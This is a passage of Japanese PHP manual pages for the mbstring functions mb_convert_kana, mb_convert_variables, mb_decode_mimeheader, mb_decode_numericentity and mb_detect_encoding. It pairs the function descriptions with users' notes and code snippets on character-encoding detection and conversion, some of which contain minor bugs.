$txt = iconv('UTF-8', 'SJIS', $txt);

Maybe it´s helpfull for someone else! ;)
mightye at gmail dot com 13-Nov-2007 09:24
To petruzanauticoyahoo?com!ar

If you don't specify a source encoding, then it assumes the internal (default) encoding.  n is a multi-byte character whose bytes in your configuration default (often iso-8859-1) would actually mean A±.  mb_convert_encoding() is upgrading those characters to their multi-byte equivalents within UTF-8.

Try this instead:
<?php
print mb_convert_encoding( "n", "UTF-8", "UTF-8" );
?>
Of course this function does no work (for the most part - it can actually be used to strip characters which are not valid for UTF-8).
volker at machon dot biz 24-Sep-2007 09:05
Hey guys. For everybody who's looking for a function that is converting an iso-string to utf8 or an utf8-string to iso, here's your solution:

public function encodeToUtf8($string) {
     return mb_convert_encoding($string, "UTF-8", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

public function encodeToIso($string) {
     return mb_convert_encoding($string, "ISO-8859-1", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

For me these functions are working fine. Give it a try
aofg 21-Aug-2007 06:49
When converting Japanese strings to ISO-2022-JP or JIS on PHP >= 5.2.1, you can use "ISO-2022-JP-MS" instead of them.
Kishu-Izon (platform dependent) characters are converted correctly with the encoding, as same as with eucJP-win or with SJIS-win.
David Hull 20-Dec-2006 10:52
As an alternative to Johannes's suggestion for converting strings from other character sets to a 7bit representation while not just deleting latin diacritics, you might try this:

<?php
$text = iconv($from_enc, 'US-ASCII//TRANSLIT', $text);
?>

The only disadvantage is that it does not convert "a" to "ae", but it handles punctuation and other special characters better.
--
David
phpdoc at jeudi dot de 05-Sep-2006 06:46
I\&#039;d like to share some code to convert latin diacritics to their
traditional 7bit representation, like, for example,

- &agrave;,&ccedil;,&eacute;,&icirc;,... to a,c,e,i,...
- &szlig; to ss
- &auml;,&Auml;,... to ae,Ae,...
- &euml;,... to e,...

(mb_convert \&quot;7bit\&quot; would simply delete any offending characters).

I might have missed on your country\&#039;s typographic
conventions--correct me then.
&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = mb_convert_encoding($text,\&#039;HTML-ENTITIES\&#039;,$from_enc);
    $text = preg_replace(
        array(\&#039;/&szlig;/\&#039;,\&#039;/&amp;(..)lig;/\&#039;,
             \&#039;/&amp;([aouAOU])uml;/\&#039;,\&#039;/&amp;(.)[^;]*;/\&#039;),
        array(\&#039;ss\&#039;,\&quot;$1\&quot;,\&quot;$1\&quot;.\&#039;e\&#039;,\&quot;$1\&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy :-)
Johannes

==
[EDIT BY danbrown AT php DOT net: Author provided the following update on 27-FEB-2012.]
==

An addendum to my &quot;to7bit&quot; function referenced below in the notes.
The function is supposed to solve the problem that some languages require a different 7bit rendering of special (umlauted) characters for sorting or other applications. For example, the German &szlig; ligature is usually written &quot;ss&quot; in 7bit context. Dutch &yuml; is typically rendered &quot;ij&quot; (not &quot;y&quot;).

The original function works well with word (alphabet) character entities and I&#039;ve seen it used in many places. But non-word entities cause funny results:
E.g., &quot;&copy;&quot; is rendered as &quot;c&quot;, &quot;&shy;&quot; as &quot;s&quot; and &quot;&amp;rquo;&quot; as &quot;r&quot;.
The following version fixes this by converting non-alphanumeric characters (also chains thereof) to &#039;_&#039;.

&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = preg_replace(/W+/,&#039;_&#039;,$text);
    $text = mb_convert_encoding($text,&#039;HTML-ENTITIES&#039;,$from_enc);
    $text = preg_replace(
        array(&#039;/&szlig;/&#039;,&#039;/&amp;(..)lig;/&#039;,
             &#039;/&amp;([aouAOU])uml;/&#039;,&#039;/&yuml;/&#039;,&#039;/&amp;(.)[^;]*;/&#039;),
        array(&#039;ss&#039;,&quot;$1&quot;,&quot;$1&quot;.&#039;e&#039;,&#039;ij&#039;,&quot;$1&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy again,
Johannes
mac.com@nemo 08-Jul-2006 07:38
For those wanting to convert from $set to MacRoman, use iconv():

<?php

$string = iconv('UTF-8', 'macintosh', $string);

?>

('macintosh' is the IANA name for the MacRoman character set.)
eion at bigfoot dot com 20-Feb-2006 04:54
many people below talk about using
<?php
    mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
    mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
    call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
Tom Class 11-Nov-2005 07:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest 09-Sep-2005 04:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
    str_replace("<","&lt;",
      str_replace(">","&gt;",
        mb_convert_encoding(html_entity_decode($htmlstr),
        "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest 09-Sep-2005 03:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail 01-Feb-2004 07:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua 07-Feb-2003 08:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
    $win = 0;
    $koi = 0;

    for($i=0; $i<strlen($str); $i++) {
      if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
      if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
    }

    if( $win < $koi ) {
      return 1;
    } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

    $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
    $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

    $end = strlen($string);
    $pos = 0;
    do {
      $c = ord($string[$pos]);
      if ($c>128) {
        $string[$pos] = chr($kw[$c-128]);
      }

    } while (++$pos < $end);

    return $string;
  }

  function recode($str) {

    $enc = detect_encoding($str);
    if ($enc==1) {
      $str = koi_to_win($str);
    }

    return $str;
  }
?>


カナを("全角かな"、"半角かな"等に)変換する

  • ≪ mb_convert_encoding
  • mb_convert_variables ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • カナを("全角かな"、"半角かな"等に)変換する

mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_kana — カナを("全角かな"、"半角かな"等に)変換する

説明

mb_convert_kana ( string $string , string $mode = "KV" , string|null $encoding = null ) : string

文字列 string に関して「半角」-「全角」変換を行います。 この関数は、日本語のみで使用可能です。

パラメータ

string

変換される文字列。

mode

変換オプション。

以下のオプションを組み合わせて指定します。

使用可能な変換オプション
オプション | 意味
r | 「全角」英字を「半角」に変換します。
R | 「半角」英字を「全角」に変換します。
n | 「全角」数字を「半角」に変換します。
N | 「半角」数字を「全角」に変換します。
a | 「全角」英数字を「半角」に変換します。
A | 「半角」英数字を「全角」に変換します （"a", "A" オプションに含まれる文字は、U+0022, U+0027, U+005C, U+007Eを除く U+0021 - U+007E の範囲です）。
s | 「全角」スペースを「半角」に変換します（U+3000 -> U+0020）。
S | 「半角」スペースを「全角」に変換します（U+0020 -> U+3000）。
k | 「全角カタカナ」を「半角カタカナ」に変換します。
K | 「半角カタカナ」を「全角カタカナ」に変換します。
h | 「全角ひらがな」を「半角カタカナ」に変換します。
H | 「半角カタカナ」を「全角ひらがな」に変換します。
c | 「全角カタカナ」を「全角ひらがな」に変換します。
C | 「全角ひらがな」を「全角カタカナ」に変換します。
V | 濁点付きの文字を一文字に変換します。"K", "H" と共に使用します。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

変換後の文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 mb_convert_kana() の例

<?php
/* 「仮名」を全て「全角カタカナ」に変換します */
$str = mb_convert_kana($str, "KVC");

/* 「半角カタカナ」を「全角カタカナ」に変換し、「全角」英数字を「半角」
   に変換します。 */
$str = mb_convert_kana($str, "KVa");
?>

User Contributed Notes

jdavide222 at hotmail dot com 11-Mar-2013 04:02
to make this function work you have to add following two lines above this function.

mb_language("Ja");
mb_internal_encoding("utf-8");

mb_convert_kana($_POST['something_value'], "rna");
sohel62 at yahoo dot com 18-Feb-2008 09:17
I did that manually when I was not getting  expected result using mb_convert_kana().
<?php
 /*
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2008/02/19
 *
 */
function han_kaku_to_jen_kaku($str){
        $replace_of = array('ｳﾞ','ｶﾞ','ｷﾞ','ｸﾞ',
                            'ｹﾞ','ｺﾞ','ｻﾞ','ｼﾞ',
                            'ｽﾞ','ｾﾞ','ｿﾞ','ﾀﾞ',
                            'ﾁﾞ','ﾂﾞ','ﾃﾞ','ﾄﾞ',
                            'ﾊﾞ','ﾋﾞ','ﾌﾞ','ﾍﾞ',
                            'ﾎﾞ','ﾊﾟ','ﾋﾟ','ﾌﾟ','ﾍﾟ','ﾎﾟ');
        $replace_by = array('ヴ','ガ','ギ','グ',
                            'ゲ','ゴ','ザ','ジ',
                            'ズ','ゼ','ゾ','ダ',
                            'ヂ','ヅ','デ','ド',
                            'バ','ビ','ブ','ベ',
                            'ボ','パ','ピ','プ','ペ','ポ');
        $_result = str_replace($replace_of, $replace_by, $str);

        $replace_of = array('ｱ','ｲ','ｳ','ｴ','ｵ',
                            'ｶ','ｷ','ｸ','ｹ','ｺ',
                            'ｻ','ｼ','ｽ','ｾ','ｿ',
                            'ﾀ','ﾁ','ﾂ','ﾃ','ﾄ',
                            'ﾅ','ﾆ','ﾇ','ﾈ','ﾉ',
                            'ﾊ','ﾋ','ﾌ','ﾍ','ﾎ',
                            'ﾏ','ﾐ','ﾑ','ﾒ','ﾓ',
                            'ﾔ','ﾕ','ﾖ','ﾗ','ﾘ',
                            'ﾙ','ﾚ','ﾛ','ﾜ','ｦ',
                            'ﾝ','ｧ','ｨ','ｩ','ｪ',
                            'ｫ','ヵ','ヶ','ｬ','ｭ',
                            'ｮ','ｯ','､','｡','ｰ',
                            '｢','｣','ﾞ','ﾟ');
        $replace_by = array('ア','イ','ウ','エ','オ',
                            'カ','キ','ク','ケ','コ',
                            'サ','シ','ス','セ','ソ',
                            'タ','チ','ツ','テ','ト',
                            'ナ','ニ','ヌ','ネ','ノ',
                            'ハ','ヒ','フ','ヘ','ホ',
                            'マ','ミ','ム','メ','モ',
                            'ヤ','ユ','ヨ','ラ','リ',
                            'ル','レ','ロ','ワ','ヲ',
                            'ン','ァ','ィ','ゥ','ェ',
                            'ォ','ヶ','ヶ','ャ','ュ',
                            'ョ','ッ','、','。','ー',
                            '「','」','"','');
        $_result = str_replace($replace_of, $replace_by, $_result);
        return $_result;
    }
?>
d at safetypub dot org 01-Apr-2005 03:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
    $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
    global $pittan;
    if(!isset($a[$i]) || !isset($b[$i])){
        return (isset($b[$i]))? -1 : 1;
    }
    if ($pittan[$a[$i]] == $pittan[$b[$i]]){
        return iter($a, $b, ++$i);
    }
    return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net 23-Jul-2003 09:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "?", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).


変数の文字コードを変換する

  • ≪ mb_convert_kana
  • mb_decode_mimeheader ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 変数の文字コードを変換する

mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_variables — 変数の文字コードを変換する

説明

mb_convert_variables ( string $to_encoding , array|string $from_encoding , mixed &$var , mixed &...$vars ) : string|false

エンコーディング from_encoding の変数 var と vars をエンコーディング to_encoding に変換します。

mb_convert_variables() は、エンコーディング検出のために Array または Object の文字列を結合します。これは、 エンコーディング検出は短い文字列では失敗する傾向があるためです。このため、 1 つの配列またはオブジェクトで異なるエンコーディングを混ぜることはできません。

パラメータ

to_encoding

文字列の変換後のエンコーディング。

from_encoding

from_encoding には配列またはカンマ区切りの文字列を指定し、 from-coding からエンコーディングの検出を試みます。 from_encoding が省略された場合、detect_order を使用します。

var

var(3番目以降の引数)は、変換する変数への リファレンスです。文字列、配列、オブジェクトを指定することが可能です。 mb_convert_variables() は全てのパラメータが 同じエンコーディングを有することを仮定します。

vars

追加の変数。

返り値

成功時に変換前の文字エンコーディングを返し、失敗した場合に false を返します。

例

例1 mb_convert_variables() の例

<?php
/* 変数 $post1, $post2 を内部エンコーディングに変換する */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

User Contributed Notes

There are no user contributed notes for this page.


MIME ヘッダフィールドの文字列をデコードする

  • ≪ mb_convert_variables
  • mb_decode_numericentity ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • MIME ヘッダフィールドの文字列をデコードする

mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_mimeheader — MIME ヘッダフィールドの文字列をデコードする

説明

mb_decode_mimeheader ( string $string ) : string

エンコードされた MIME ヘッダの文字列 string をデコードします。

パラメータ

string

デコードする文字列。

返り値

内部文字エンコーディングでデコードされた文字列を返します。

参考

  • mb_encode_mimeheader() - MIMEヘッダの文字列をエンコードする

User Contributed Notes

Brett 27-Feb-2012 03:35
See also the following functions which may work better in some cases:
iconv_mime_decode() - http://php.net/manual/function.iconv-mime-decode.php
imap_utf8() - http://php.net/manual/function.imap-utf8.php
tomlove at gmail dot com 09-Mar-2010 10:03
This function ignores any encoded-word specified in a character set not supported by the mbstring extension (e.g. Arabic windows-1256). Such encoded-words pass straight through.

RFC2047 doesn't specify the behaviour, but common agents such as Gmail, Windows Mail, etc. DO NOT ignore such encoded words. They are decoded as if they were declared to be in the local character set.

Be aware of this idiosyncrasy.
Frogger2000 at gmx dot de 29-May-2002 01:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=


HTML 数値エンティティを文字にデコードする

  • ≪ mb_decode_mimeheader
  • mb_detect_encoding ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • HTML 数値エンティティを文字にデコードする

mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_numericentity — HTML 数値エンティティを文字にデコードする

説明

mb_decode_numericentity ( string $string , array $map , string|null $encoding = null ) : string

文字列 string において指定した文字領域にある数値エンティティを変換し、 変換後の文字列を返します。

パラメータ

string

デコードする文字列。

map

map は変換するコード領域を指定する配列です。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

is_hex

このパラメータは使われていません。

返り値

変換された文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 map の例

<?php
$convmap = array (
   int start_code1, int end_code1, int offset1, int mask1,
   int start_code2, int end_code2, int offset2, int mask2,
   ........
   int start_codeN, int end_codeN, int offsetN, int maskN );
// start_codeN および end_codeN に Unicode値を指定
// 値にoffsetNを追加、マスクmaskNを指定してビット毎の'AND'をとり、
// 数値エンティティに値を変換します。
?>

例2 map を使って JavaScript の文字列をエスケープする例

<?php
function escape_javascript_string($str) {
  $map = [
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,0,0, // 49
          0,0,0,0,0,0,0,0,1,1,
          1,1,1,1,1,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,
          0,1,1,1,1,1,1,0,0,0, // 99
          0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,
          0,0,0,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1, // 149
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1, // 199
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1,
          1,1,1,1,1,1,1,1,1,1, // 249
          1,1,1,1,1,1,1, // 255
          ];
  // 文字エンコーディングは UTF-8
  $mblen = mb_strlen($str, 'UTF-8');
  $utf32 = bin2hex(mb_convert_encoding($str, 'UTF-32', 'UTF-8'));
  for ($i=0, $encoded=''; $i < $mblen; $i++) {
      $u = substr($utf32, $i*8, 8);
      $v = base_convert($u, 16, 10);
      if ($v < 256 && $map[$v]) {
        $encoded .= '\\x'.substr($u, 6,2);
      } else if ($v == 2028) {
        $encoded .= '\\u2028';
      } else if ($v == 2029) {
        $encoded .= '\\u2029';
      } else {
        $encoded .= mb_convert_encoding(hex2bin($u), 'UTF-8', 'UTF-32');
      }
   }
   return $encoded;
}

// テストデータ
$convmap = [ 0x0, 0xffff, 0, 0xffff ];
$msg = '';
for ($i=0; $i < 1000; $i++) {
  // chr() では 128 より大きい UTF-8 データを正しく生成できないので、mb_decode_numericentity() を使います
  $msg .= mb_decode_numericentity('&#'.$i.';', $convmap, 'UTF-8');
}

// var_dump($msg);
var_dump(escape_javascript_string($msg));

参考

  • mb_encode_numericentity() - 文字を HTML 数値エンティティにエンコードする

User Contributed Notes

fernandosilveira at yahoo dot com dot br 05-Jun-2020 12:49
Be careful!
In addition to translate numeric entities to chars on specified target encoding, this function encodes every character from input string to the specified target encodin, even if the characters are outside the range defined by the conversion map.
donovan at conduit it 19-Apr-2006 09:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dev at glossword info 19-Nov-2003 07:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric(' ? ? ');


文字エンコーディングを検出する

  • ≪ mb_decode_numericentity
  • mb_detect_order ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字エンコーディングを検出する

mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_encoding — 文字エンコーディングを検出する

説明

mb_detect_encoding ( string $string , array|string|null $encodings = null , bool $strict = false ) : string|false

文字列 string の文字エンコーディングを検出します。

パラメータ

string

検出する文字列。

encodings

encodings は文字エンコーディングのリストで、 エンコーディング検出の順番を配列またはカンマ区切りのリストで指定します。

encodings が省略された場合、 detect_order が使用されます。

strict

strict は、 厳格なエンコーディング検出を行うかどうかを指定します。 デフォルトは false です。

返り値

検出した文字エンコーディングを返します。 指定した文字列からエンコーディングを検出できなかった場合は false を返します。

例

例1 mb_detect_encoding() の例

<?php
/* 現在のdetect_orderで文字エンコーディングを検出 */
echo mb_detect_encoding($str);

/* "auto" は mbstring.language の設定を使って展開されます */
echo mb_detect_encoding($str, "auto");

/* 文字エンコーディングをカンマ区切りのリストで指定することで、encodings 引数を指定 */
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

/* encodings 引数を指定するために配列を使用 */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
echo mb_detect_encoding($str, $ary);
?>

参考

  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する

User Contributed Notes

recentUser at example dot com 28-Mar-2018 07:17
In my environment (PHP 7.1.12),
"mb_detect_encoding()" doesn't work
     where "mb_detect_order()" is not set appropriately.

To enable "mb_detect_encoding()" to work in such a case,
     simply put "mb_detect_order('...')"
     before "mb_detect_encoding()" in your script file.

Both
     "ini_set('mbstring.language', '...');"
     and
     "ini_set('mbstring.detect_order', '...');"
DON'T work in script files for this purpose
whereas setting them in PHP.INI file may work.
lotushzy at gmail dot com 04-Jan-2018 12:18
About function mb_detect_encoding, the link http://php.net/manual/zh/function.mb-detect-encoding.php , like this:
mb_detect_encoding('aeou', 'UTF-8', true); // false
but now the result is not false, can you give me reason, thanks!
garbage at iglou dot eu 30-Mar-2017 01:11
For detect UTF-8, you can use:

if (preg_match('!!u', $str)) { echo 'utf-8'; }

- Norihiori
lexonight at yahoo dot com 06-Nov-2016 12:54
<?php
$file = file_get_contents("somefile.txt");
$encodings = implode(',', mb_list_encodings());
echo mb_detect_encoding($file, $encodings, true);
?>
seems to work
emoebel at web dot de 25-Dec-2013 09:29
if the  function " mb_detect_encoding" does not exist  ...

... try:

<?php
// ----------------------------------------------------
if ( !function_exists('mb_detect_encoding') ) {

// ----------------------------------------------------------------
function mb_detect_encoding ($string, $enc=null, $ret=null) {

        static $enclist = array(
            'UTF-8', 'ASCII',
            'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5',
            'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-10',
            'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
            'Windows-1251', 'Windows-1252', 'Windows-1254',
            );

        $result = false;

        foreach ($enclist as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) {
                if ($ret === NULL) { $result = $item; } else { $result = true; }
                break;
            }
        }

    return $result;
}
// ----------------------------------------------------------------

}
// ----------------------------------------------------
?>

example / usage of: mb_detect_encoding()

<?php
// ------------------------------------------------------
function str_to_utf8 ($str) {

    if (mb_detect_encoding($str, 'UTF-8', true) === false) {
    $str = utf8_encode($str);
    }

    return $str;
}
// ------------------------------------------------------
?>

$txtstr = str_to_utf8($txtstr);
Anonymous 08-Oct-2013 09:17
// -----------------------------------------------------------

if(!function_exists('mb_detect_encoding')) {

function mb_detect_encoding($string, $enc=null, $ret=true) {
    $out=$enc;
    static $list = array('utf-8', 'iso-8859-1', 'iso-8859-15', 'windows-1251');
        foreach ($list as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) { $out = ($ret !== false) ? true : $item; }
        }
    return $out;
}

}

// -----------------------------------------------------------
eyecatchup at gmail dot com 11-Jun-2013 10:41
Just a note: Instead of using the often recommended (rather complex) regular expression by W3C (http://www.w3.org/International/questions/qa-forms-utf-8.en.php), you can simply use the 'u' modifier to test a string for UTF-8 validity:

<?php
  if (preg_match("//u", $string)) {
      // $string is valid UTF-8
  }
bmrkbyet at web dot de 24-Mar-2013 02:04
a) if the FUNCTION mb_detect_encoding is not available:

### mb_detect_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_detect_encoding')) {
function mb_detect_encoding($string, $enc=null) {

    static $list = array('utf-8', 'iso-8859-1', 'windows-1251');

    foreach ($list as $item) {
        $sample = iconv($item, $item, $string);
        if (md5($sample) == md5($string)) {
            if ($enc == $item) { return true; }    else { return $item; }
        }
    }
    return null;
}
}

// -------------------------------------------
?>

b) if the FUNCTION mb_convert_encoding is not available:

### mb_convert_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($string, $target_encoding, $source_encoding) {
    $string = iconv($source_encoding, $target_encoding, $string);
    return $string;
}
}

// -------------------------------------------
?>
Gerg Tisza 18-Feb-2011 03:43
If you try to use mb_detect_encoding to detect whether a string is valid UTF-8, use the strict mode, it is pretty worthless otherwise.

<?php
    $str = 'aeou'; // ISO-8859-1
    mb_detect_encoding($str, 'UTF-8'); // 'UTF-8'
    mb_detect_encoding($str, 'UTF-8', true); // false
?>
nat3738 at gmail dot com 22-May-2009 03:58
A simple way to detect UTF-8/16/32 of file by its BOM (not work with string or file without BOM)

<?php
// Unicode BOM is U+FEFF, but after encoded, it will look like this.
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($filename) {

    $text = file_get_contents($filename);
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);

    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}
?>
prgss at bk dot ru 30-Mar-2009 02:16
Another light way to detect character encoding:
<?php
function detect_encoding($string) {
  static $list = array('utf-8', 'windows-1251');

  foreach ($list as $item) {
    $sample = iconv($item, $item, $string);
    if (md5($sample) == md5($string))
      return $item;
  }
